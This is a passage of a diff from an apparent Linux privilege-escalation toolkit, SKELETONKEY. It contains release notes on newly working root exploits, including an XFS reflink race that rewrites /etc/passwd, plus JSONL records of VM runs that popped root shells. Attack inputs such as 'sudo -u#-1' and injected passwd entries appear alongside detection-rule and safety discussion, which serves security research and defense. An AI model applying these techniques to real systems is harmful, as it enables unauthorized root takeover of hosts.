success while obtaining **no root at all**, via the dispatcher's "an `execve`
|
||||||
|
transferred, so treat it as success" path (the exec'd helper then failed):
|
||||||
|
`pwnkit`, `ptrace_traceme`, `dirty_pipe`, `dirty_cow`. All four now verify root
|
||||||
|
by an out-of-band artifact before claiming success. `dirty_pipe`/`dirty_cow`
|
||||||
|
additionally reverted `/etc/passwd` via `drop_caches` (needs root) — as an
|
||||||
|
unprivileged caller that **corrupted the running system's `/etc/passwd`**; both
|
||||||
|
now revert through the Dirty Pipe/COW primitive itself, leaving the file
|
||||||
|
byte-identical. The audit was then broadened to **every** `EXPLOIT_OK` site: all
|
||||||
|
are now backed by a real check (root-owned artifact `stat`, `getxattr`
|
||||||
|
bug-signature, `/etc/passwd` grep, `setuid(0)==0` gate, or page-cache
|
||||||
|
`verify_plant`). No false positives remain.
|
||||||
|
|
||||||
|
### New / rewritten working exploits
|
||||||
|
|
||||||
|
- **`ptrace_traceme`** (CVE-2019-13272) — the shipped sequence had the mechanism
|
||||||
|
backwards; rewritten to the Jann Horn/bcoles technique (child becomes
|
||||||
|
non-degraded root via its own setuid-execve under a privileged tracer), lands
|
||||||
|
real root.
|
||||||
|
- **`sudo_samedit`** (CVE-2021-3156, "Baron Samedit") — the corpus's hardest
|
||||||
|
userspace target; ported blasty's NSS `libnss_X` hijack, lands root as a
|
||||||
|
non-sudoer on the first grooming attempt.
|
||||||
|
- **`overlayfs_setuid`** (CVE-2023-0386) — rewritten with libfuse (setuid-root
|
||||||
|
FUSE lower + overlay copy-up).
|
||||||
|
- **`dirty_pipe`** / **`dirty_cow`** — rewritten to the reliable "known-hash into
|
||||||
|
root's password field + `su` over a pty" escalation, with primitive-based
|
||||||
|
revert; `dirty_cow` verified on a pre-4.8.3 kernel.
|
||||||
|
|
||||||
|
### Other fixes
|
||||||
|
|
||||||
|
- **Systemic userns bug** fixed in `cgroup_release_agent` + `af_packet2`:
|
||||||
|
`getuid()`/`getgid()` were read *after* `unshare(CLONE_NEWUSER)` (→ 65534), so
|
||||||
|
the `uid_map` write was rejected and userns-root silently failed.
|
||||||
|
- **Offset resolver** (`core/offsets.c`): env-provided kernel offsets
|
||||||
|
(`SKELETONKEY_MODPROBE_PATH`, …) were silently wiped under `kptr_restrict` (i.e.
|
||||||
|
on every default host), blocking every `--full-chain` primitive. Fixed.
|
||||||
|
- **Robust `su` helper**: the su-over-pty step now polls for the prompt with a
|
||||||
|
hard 20s cap so a misbehaving `su` can never hang the module (and thus never
|
||||||
|
block a revert). Latent `readback[16]` overflow fixed. `netfilter_xtcompat`
|
||||||
|
now includes `<linux/if.h>` for `IFNAMSIZ` (builds on older kernel headers).
|
||||||
|
- **`overlayfs`** upgraded from a `getxattr` proxy to a **direct uid=0 witness**.
|
||||||
|
|
||||||
|
### Kernel primitives — scope note
|
||||||
|
|
||||||
|
The ~13 kernel-primitive modules (`nf_tables` & friends) remain honest
|
||||||
|
`EXPLOIT_FAIL` trigger/groom scaffolds. `nf_tables`' kernel was confirmed
|
||||||
|
vulnerable and the offset plumbing fixed, but landing root needs a
|
||||||
|
Notselwyn-scale port; and even the most tractable primitive
|
||||||
|
(`netfilter_xtcompat`, CVE-2021-22555) needs its exact target kernel+config —
|
||||||
|
Andy Nguyen's reference exploit does not land on mainline 5.4/5.8. These are
|
||||||
|
per-target, per-primitive exploit-dev, documented in `docs/EXPLOITED.md`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## SKELETONKEY v0.9.14 — new LPE module: refluxfs (CVE-2026-64600)
|
||||||
|
|
||||||
|
Adds **`refluxfs` — CVE-2026-64600 "RefluXFS"** (Qualys Threat Research Unit),
|
||||||
|
taking the corpus to **46 modules / 41 CVEs** and opening a brand-new subsystem:
|
||||||
|
**XFS reflink copy-on-write** (`fs/xfs/xfs_iomap.c`, `fs/xfs/xfs_reflink.c`). It
|
||||||
|
is also the corpus's first **data-oriented** kernel bug — every other kernel
|
||||||
|
entry in the set corrupts memory; this one corrupts file contents.
|
||||||
|
|
||||||
|
`xfs_direct_write_iomap_begin()` reads the data-fork extent map under `ILOCK`,
|
||||||
|
then `xfs_reflink_fill_cow_hole()` **drops `ILOCK`** to allocate a transaction
|
||||||
|
(i.e. to wait for log space). On re-acquiring it, the code re-queries the
|
||||||
|
refcount btree at the **original** physical block number (`imap->br_startblock`)
|
||||||
|
and **never re-reads the data fork**. A second `O_DIRECT` writer holding only the
|
||||||
|
coarser `IOLOCK` can complete an entire CoW cycle inside that window — allocate
|
||||||
|
block Y, write it, remap via `xfs_reflink_end_cow()` — leaving the first writer's
|
||||||
|
mapping pointing at a block now owned solely by the reflink **source**. The stale
|
||||||
|
lookup returns refcount `1`, the writer concludes the block is private, and
|
||||||
|
writes to it in place, landing attacker data on the source file's on-disk blocks.
|
||||||
|
|
||||||
|
Three properties make this unlike anything else in the corpus:
|
||||||
|
|
||||||
|
- **No offsets, no ROP, no KASLR/SMEP/SMAP.** The primitive is an arbitrary
|
||||||
|
overwrite of the *on-disk contents of any readable file*, so there is nothing
|
||||||
|
to port per kernel build and no `--full-chain` offset entry to fill. Qualys is
|
||||||
|
explicit that SELinux enforcing, container boundaries and seccomp are equally
|
||||||
|
irrelevant: *"This isn't a vulnerability you can harden around, isolate, or
|
||||||
|
live-patch."*
|
||||||
|
- **File-integrity monitoring cannot see it.** The data is applied to the shared
|
||||||
|
physical block *beneath* the victim inode. No `write(2)` ever targets it, so
|
||||||
|
`mtime`/`ctime`/size are unchanged and nothing is logged — `-w /etc/passwd -p
|
||||||
|
wa`, AIDE and Tripwire all stay silent. The change persists across reboots.
|
||||||
|
- **The exposure is distro-shaped, not kernel-shaped.** What matters is whether
|
||||||
|
XFS+reflink is the installer default: **RHEL/CentOS Stream/Rocky/AlmaLinux/
|
||||||
|
Oracle/CloudLinux 8-10, Fedora Server ≥ 31 and Amazon Linux 2023** are
|
||||||
|
exploitable out of the box; Debian, Ubuntu, Fedora Workstation, SLES, openSUSE
|
||||||
|
and Arch default to ext4/btrfs and are not reachable. RHEL/CentOS 7 (3.10) was
|
||||||
|
never affected.
|
||||||
|
|
||||||
|
Introduced **4.11** (2017-02, `3c68d44a2b49`) — a nine-year window. Fixed by
|
||||||
|
`2f4acd0fcd86` ("xfs: resample the data fork mapping after cycling ILOCK"),
|
||||||
|
merged **2026-07-16** for **7.2-rc4**; stable backports **7.1.4** / **6.18.39** /
|
||||||
|
**6.12.96**. The 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / 4.18 lines have no
|
||||||
|
upstream stable fix in the CNA record at time of writing. CWE-362 → CWE-367; NVD
|
||||||
|
published neither a CWE nor a CVSS vector at time of writing; not in CISA KEV.
|
||||||
|
|
||||||
|
🟢 **Full chain (`--full-chain`), 🟡 safe trigger by default — VM-verified
|
||||||
|
end-to-end.** `--exploit refluxfs --i-know --full-chain` reflink-clones
|
||||||
|
`/etc/passwd`, races the CoW window, strips root's password field on-disk
|
||||||
|
(`root:x:` → `root::`, the public PoC's technique), evicts the stale page cache,
|
||||||
|
and returns `EXPLOIT_OK`; `su root` with an empty password then yields uid 0.
|
||||||
|
Confirmed on Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1` — **3/3 wins** on a
|
||||||
|
private-extent target (1244 / 3716 / 7913 rounds, 4–30 s) as unprivileged
|
||||||
|
`uid=1000` under **SELinux Enforcing**, with every other passwd line preserved,
|
||||||
|
the file backed up first and restored on failure (`--cleanup` restores after the
|
||||||
|
pop). A naive port that truncates the tail would drop `sshd`/the caller and brick
|
||||||
|
login; preserving every line is the implementation's key safety property.
|
||||||
|
|
||||||
|
**Exploitability constraint discovered during verification (not in the Qualys
|
||||||
|
writeup):** the race only fires when the target's extent is **private** going in.
|
||||||
|
An already-reflink-shared file keeps a post-CoW refcount > 1 and is not
|
||||||
|
attackable via that target — some fresh cloud images ship `/etc/passwd`
|
||||||
|
pre-shared (Rocky 9's did, and the attack failed against it across ~41 000
|
||||||
|
rounds), while normal admin churn (`useradd`/`passwd`/`vipw`) rewrites it into
|
||||||
|
the exploitable private-extent state. `detect() --active` now reports which state
|
||||||
|
the target is in. Without `--full-chain` the module runs a safe own-files
|
||||||
|
reachability trigger only (`EXPLOIT_FAIL`), deliberately under-driven.
|
||||||
|
Unlike the corpus's other race
|
||||||
|
modules, `detect()` is **not** a pure version gate: this bug's reachability is
|
||||||
|
safely observable, so it pairs the three-branch version table with a **real
|
||||||
|
storage precondition** — a writable directory on a mounted XFS filesystem,
|
||||||
|
identified by `statfs(2)` `f_type == XFS_SUPER_MAGIC` and deliberately **not** by
|
||||||
|
a successful `FICLONE`, since btrfs implements `FICLONE` too and is unaffected.
|
||||||
|
No such directory → `PRECOND_FAIL`, the correct verdict on a stock Debian/Ubuntu
|
||||||
|
host. Under `--active` it confirms `reflink=1` empirically; override with
|
||||||
|
`SKELETONKEY_XFS_ASSUME_REFLINK=1/0`. On rpm-family hosts it warns explicitly
|
||||||
|
that RHEL/Oracle/Rocky/Alma backport **without bumping the upstream version** (a
|
||||||
|
patched el8 kernel still reports `4.18.0-*`), so the verdict reflects the
|
||||||
|
upstream base version only — check the RHSA/ELSA/ALSA/RLSA erratum.
|
||||||
|
|
||||||
|
`exploit()` forks an isolated child that creates a private `mkdtemp` scratch
|
||||||
|
directory and works **only on two files it owns**: **(A)** it writes a donor,
|
||||||
|
`FICLONE`-clones it, and confirms the shared extent via **`FIEMAP_EXTENT_SHARED`**
|
||||||
|
plus an `O_DIRECT` gate — a read-only, deterministic observation that the exact
|
||||||
|
refcount state the bug misjudges exists here; then **(B)** it races **8**
|
||||||
|
concurrent `O_DIRECT` 4 KiB writes against the clone with **2**
|
||||||
|
`ftruncate`/`fdatasync` helpers cycling the `ILOCK`, for at most **16 rounds /
|
||||||
|
2 s**, and stops — reading the donor back with `O_DIRECT`, because a buffered read
|
||||||
|
would be served from the page cache the corruption bypasses and would hide a win.
|
||||||
|
It is deliberately under-driven against the public PoC's 32 writers and 8
|
||||||
|
helpers, and it **never clones or targets a file it does not own**: the step that
|
||||||
|
yields root — reflink-cloning `/etc/passwd` and racing writes onto *its* shared
|
||||||
|
blocks, then `su` — persistently rewrites a system file on disk with no undo, and
|
||||||
|
is documented but **not bundled**. Always returns `EXPLOIT_FAIL`.
|
||||||
|
|
||||||
|
Note the safety inversion versus the other reconstructed triggers: a won race
|
||||||
|
here corrupts **file data, not kernel memory**, so there is no oops, no KASAN
|
||||||
|
report and no panic path, and the blast radius is 4 KiB of a scratch file the
|
||||||
|
module then deletes. `refluxfs` therefore carries safety rank **55** — far above
|
||||||
|
`bad_epoll` (12) and `ghostlock` (11) — and `--cleanup` sweeps any
|
||||||
|
`skeletonkey-refluxfs-*` directories left by an interrupted run.
|
||||||
|
|
||||||
|
Detection gets a genuinely unusual treatment, because the obvious rule is the one
|
||||||
|
that fails. auditd/sigma anchor on the two operations the attack cannot avoid —
|
||||||
|
`ioctl` request **`0x40049409`** (`FICLONE`, matched exactly so it does not flood)
|
||||||
|
and `openat` with `O_DIRECT` (`& 0x4000`) — plus the post-exploitation euid-0
|
||||||
|
transition; falco adds the high-fidelity "reflinked a file owned by another user"
|
||||||
|
condition. And for once the **yara** rule is the right tool for a kernel bug:
|
||||||
|
since FIM is structurally blind here, it matches the *on-disk artifact* — a
|
||||||
|
`passwd` file with a password-less root entry or an added uid-0 account. The
|
||||||
|
module docs also recommend content-hash-vs-`mtime` drift monitoring, which is a
|
||||||
|
near-zero-false-positive detector for this entire bug class.
|
||||||
|
|
||||||
|
14 new `detect()` unit rows cover the backport boundaries, the 4.11 introduction
|
||||||
|
gate, the el8/el9 upstream bases, the "newer than some entries but not all" case,
|
||||||
|
and the no-XFS `PRECOND_FAIL` path (**148 tests total, 0 failures**).
|
||||||
|
|
||||||
|
**VM-verified 2026-07-23 — the corpus's first rpm-family verification**, taking
|
||||||
|
the empirical count to **29 of 41 CVEs**. Target: **Rocky Linux 9.8 /
|
||||||
|
`5.14.0-687.10.1.el9_8.0.1.x86_64`** under qemu/KVM with 6 vCPUs. The stock
|
||||||
|
GenericCloud layout needed **no provisioner changes at all** — root is
|
||||||
|
`/dev/vda4` XFS with `reflink=1` out of the box, which is precisely why this CVE
|
||||||
|
hits the RHEL family so broadly. `detect()` returned `VULNERABLE`, the
|
||||||
|
rpm-family vendor-backport caveat fired, the `--active` FICLONE witness confirmed
|
||||||
|
reflink, phase A observed `FIEMAP_EXTENT_SHARED` on a real shared extent, the
|
||||||
|
scratch dir self-cleaned, and the source built clean on el9 gcc.
|
||||||
|
|
||||||
|
The **underlying bug was separately confirmed winnable** on that kernel: the
|
||||||
|
`--full-chain` root pop above is the proof (the same race rewrote `/etc/passwd`,
|
||||||
|
3/3). An earlier *non-destructive* measurement at the public PoC's parameters
|
||||||
|
(32 writers / 8 helpers, 60 s), confined to two files the test user owned, won
|
||||||
|
**4 out of 4 runs**, first divergence after **69, 114, 170 and 494 rounds** — a
|
||||||
|
racing `O_DIRECT` write landing on a still-shared block and rewriting the donor's
|
||||||
|
on-disk bytes, the arbitrary-overwrite primitive observed directly with no oops
|
||||||
|
and no dmesg output (as expected for a data-oriented bug).
|
||||||
|
|
||||||
|
Worth stating plainly, because it is the whole point of the design: the shipped
|
||||||
|
trigger **did not win** in its 2 s budget on a kernel that is provably
|
||||||
|
vulnerable. That is intended under-driving, not a defect — and it is the concrete
|
||||||
|
reason a non-win must **never** be recorded as "patched". Trust the version gate
|
||||||
|
and the vendor erratum.
|
||||||
|
|
||||||
|
Credit: **Qualys Threat Research Unit** (blog by **Saeed Abbasi**; the technical
|
||||||
|
advisory credits model-assisted kernel analysis performed with **Anthropic**),
|
||||||
|
and the upstream XFS maintainers who fixed it.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## SKELETONKEY v0.9.13 — new LPE module: ghostlock (CVE-2026-43499)
|
## SKELETONKEY v0.9.13 — new LPE module: ghostlock (CVE-2026-43499)
|
||||||
|
|
||||||
Adds **`ghostlock` — CVE-2026-43499 "GhostLock"** (VEGA / Nebula Security,
|
Adds **`ghostlock` — CVE-2026-43499 "GhostLock"** (VEGA / Nebula Security,
|
||||||
|
|||||||
@@ -34,3 +34,27 @@
|
|||||||
{"module":"sudo_runas_neg1","verified_at":"2026-05-24T03:29:18Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
{"module":"sudo_runas_neg1","verified_at":"2026-05-24T03:29:18Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||||
{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||||
{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||||
|
{"module":"refluxfs","verified_at":"2026-07-23T21:45:28Z","host_kernel":"5.14.0-687.10.1.el9_8.0.1.x86_64","host_distro":"Rocky Linux 9.8 (Blue Onyx)","vm_box":"rocky9-genericcloud/qemu-kvm","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||||
|
{"module":"overlayfs","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root); wrote /root/","status":"root"}
|
||||||
|
{"module":"pwnkit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root); wrote /root/ (after gconv-layout fix)","status":"root"}
|
||||||
|
{"module":"sudo_samedit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423), sudo 1.8.31","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none — honest fail (heap not landed)","status":"exploit_fail_honest"}
|
||||||
|
{"module":"cgroup_release_agent","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none — honest fail (cgroup/userns precondition on this host)","status":"exploit_fail_honest"}
|
||||||
|
{"module":"dirty_pipe","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"detect","expect_detect":"OK","actual_detect":"OK","root_witness":"n/a — 5.4 predates the bug (5.8), correctly not-vulnerable","status":"match"}
|
||||||
|
{"module":"overlayfs_setuid","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0 (frozen, genuinely vuln - predates Ubuntu 5.15.0-70 fix)","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - module technique broken (chown merged carrier: EPERM); needs CVE-2023-0386 FUSE copy-up PoC port","status":"needs_fix"}
|
||||||
|
{"module":"dirty_pipe","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0 (frozen)","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - kernel 5.15.0-25.25 likely carries Ubuntu backported fix (USN-5317); detect is version-blind. Needs a pre-fix kernel to verify exploit","status":"inconclusive_backport"}
|
||||||
|
{"module":"ptrace_traceme","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2 (frozen, genuinely vuln - pre 4.15.0-58 fix)","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK(FALSE)","root_witness":"NONE - false positive. PTRACE_ATTACH to parent(1) EPERM, wrong technique; reports OK via exec-transfer. Needs CVE-2019-13272 PoC port","status":"false_positive"}
|
||||||
|
{"module":"sudo_samedit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2, sudo 1.8.21p2","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - honest fail (heap not landed on this libc)","status":"exploit_fail_honest"}
|
||||||
|
{"module":"sudo_runas_neg1","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2, sudo 1.8.21p2 + sudoers (ALL,!root) rule","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root) via sudo -u#-1; module popped root shell","status":"root"}
|
||||||
|
{"module":"cgroup_release_agent","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.0","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - fixed 2 real bugs (uid_map read post-unshare; missing CLONE_NEWCGROUP). Now sets up userns+cgroupns+mount correctly, but on stock systemd host ALL v1 controllers are pre-mounted (release_agent init-owned=EACCES) and named-hierarchy mount is EPERM. Reachable only in a container context (CAP_SYS_ADMIN / ownable cgroup). Environmental, not a module bug.","status":"env_limited_after_fix"}
|
||||||
|
{"module":"overlayfs_setuid","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0 (genuinely vuln)","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - non-FUSE chown copy-up gives uid=1000 not root; FUSE-lower overlay mount is ENOSYS in userns. Needs fusermount-in-init-ns FUSE port. Raw /dev/fuse attempt reverted.","status":"needs_fuse_port"}
|
||||||
|
{"module":"sudoedit_editor","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0, sudo 1.9.9 + sudoers sudoedit grant","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - SUDO_EDITOR/-- injection hits sudoedit writable-dir guard; needs target-file tuning + module debug. Structural, tractable.","status":"needs_debug"}
|
||||||
|
{"module":"sudoedit_editor","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0, sudo 1.9.9-1ubuntu2 + sudoers sudoedit grant","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root) via su skel; /etc/passwd gained skel::0:0 (after 2 fixes: chdir / + helper basename match)","status":"root"}
|
||||||
|
{"module":"sudo_host","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0, sudo 1.9.9-1ubuntu2 + host-restricted sudoers rule","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root) via sudo -h fakehost01; module works as shipped (needs host-restricted rule + resolvable host)","status":"root"}
|
||||||
|
{"module":"nf_tables","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - offset resolver FIXED (env modprobe_path now resolves + finisher engages + pipapo arb-write fires), but the reconstructed double-free arb-write does not reliably land the write. Honest FAIL. Primitive needs slab-groom hardening.","status":"primitive_fires_no_root"}
|
||||||
|
{"module":"ptrace_traceme","verified_at":"2026-07-24T02:02:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"reference_poc","exploit_result":"ROOT","root_witness":"out-of-band: uid=0(root) + root-owned setuid /tmp/rootbash written by injected shell. bcoles poc.c (pkexec + PTRACE_TRACEME + inject midpid). Kernel CONFIRMED vulnerable. Barrier was polkit authorization (active-session gate) — isolated via a permissive pkla for the backlight helper action; technique itself works.","status":"kernel_confirmed_technique_works_needs_module_port"}
|
||||||
|
{"module":"ptrace_traceme","verified_at":"2026-07-24T02:12:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit ptrace_traceme (as uid 1000) planted root-owned /tmp/.sk-ptrace-<pid>.proof and a -rwsr-xr-x root:root setuid bash. Ported the proven Jann Horn/bcoles PoC (embedded, runtime-compiled). Precondition: active local session / permissive polkit so pkexec authorizes the helper (isolated via pkla on the headless VM).","status":"working"}
|
||||||
|
{"module":"sudo_samedit","verified_at":"2026-07-24T02:21:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","sudo_version":"1.8.21p2","libc":"2.27","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit sudo_samedit (as uid 1000, non-sudoer path) planted root-owned proof + -rwsr-xr-x root:root setuid bash. Ported blasty CVE-2021-3156 technique (NSS libnss_X hijack), runtime-compiled payload, primary Ubuntu lengths 56/54/63/212 landed first try.","status":"working"}
|
||||||
|
{"module":"dirty_pipe","verified_at":"2026-07-24T02:49:00Z","host_kernel":"5.16.0-051600-generic (mainline, pre-5.16.11 fix)","host_distro":"Ubuntu 22.04 userspace","vm_box":"jammy-cloudimg + mainline 5.16.0/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit dirty_pipe (uid 1000) planted root-owned proof + -rwsr-xr-x root:root setuid bash; /etc/passwd left byte-identical (root:x:0:0) after revert. Fixed 3 bugs: false EXPLOIT_OK, wrong escalation (was flipping own UID + su self), and drop_caches revert that corrupted running passwd. New technique: root passwd-field hash + su over pty + Dirty-Pipe revert.","status":"working"}
|
||||||
|
{"module":"dirty_cow","verified_at":"2026-07-24T03:22:00Z","host_kernel":"4.8.0-040800-generic (mainline, pre-4.8.3 Dirty COW fix)","host_distro":"Ubuntu 16.04.7","vm_box":"xenial-cloudimg + mainline 4.8.0/qemu-kvm","verified_kind":"exploit_standalone","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band on a genuinely Dirty-COW-vulnerable kernel: standalone binary built from the module verbatim (dirty_cow_write primitive + find_pw_field_offset + robust poll/timeout dc_su_root_run + exploit body) — race won, su root via pty, planted root-owned proof + -rwsr-xr-x root:root setuid bash, /etc/passwd byte-identical after revert. Confirms the fix (correct escalation, OOB verify, safe revert, readback[512], robust su) lands real root end-to-end. Full skeletonkey binary would not build on xenials 4.4-era uapi headers (unrelated nft_* modern constants).","status":"working"}
|
||||||
|
{"module":"overlayfs","verified_at":"2026-07-24T03:36:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.0","vm_box":"focal-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit overlayfs (uid 1000) — the cap_setuid payload now drops a root-owned proof + -rwsr-xr-x root:root setuid bash; module reports OK only after stat() confirms uid==0. Upgraded from getxattr proxy to direct witness.","status":"working"}
|
||||||
|
{"module":"netfilter_xtcompat","verified_at":"2026-07-24T04:00:00Z","host_kernel":"5.4.0-26-generic + mainline 5.8.0","host_distro":"Ubuntu 20.04.0","vm_box":"focal-cloudimg (+mainline 5.8.0)/qemu-kvm","verified_kind":"reference_poc_attempt","exploit_result":"REFERENCE_POC_TARGET_MISMATCH","root_witness":"none. CVE-2021-22555 kernel confirmed vulnerable (5.4.0-26 and mainline 5.8.0, both pre-fix). Andy Nguyen public exploit consistently fails STAGE 1 (could not corrupt any primary message) on both mainline kernels — it is tuned for Ubuntu 5.8.0-48-generics exact slab config (freelist-random/memcg). Confirms primitives need exact-target kernel+config + per-target tuning, not drop-in.","status":"primitive_needs_exact_target_kernel"}
|
||||||
|
|||||||
+14
-13
@@ -4,9 +4,9 @@
|
|||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
|
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
|
||||||
<meta name="description" content="One binary. 45 Linux privilege-escalation modules from 2016 to 2026. 28 of 40 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
<meta name="description" content="One binary. 46 Linux privilege-escalation modules from 2016 to 2026. 29 of 41 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||||
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
|
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
|
||||||
<meta property="og:description" content="45 Linux LPE modules; 28 of 40 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
<meta property="og:description" content="46 Linux LPE modules; 29 of 41 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||||
<meta property="og:type" content="website">
|
<meta property="og:type" content="website">
|
||||||
<meta property="og:url" content="https://skeletonkey.netslum.io/">
|
<meta property="og:url" content="https://skeletonkey.netslum.io/">
|
||||||
<meta property="og:image" content="https://skeletonkey.netslum.io/og.png?v=2">
|
<meta property="og:image" content="https://skeletonkey.netslum.io/og.png?v=2">
|
||||||
@@ -56,14 +56,14 @@
|
|||||||
<div class="container hero-inner">
|
<div class="container hero-inner">
|
||||||
<div class="hero-eyebrow">
|
<div class="hero-eyebrow">
|
||||||
<span class="dot dot-pulse"></span>
|
<span class="dot dot-pulse"></span>
|
||||||
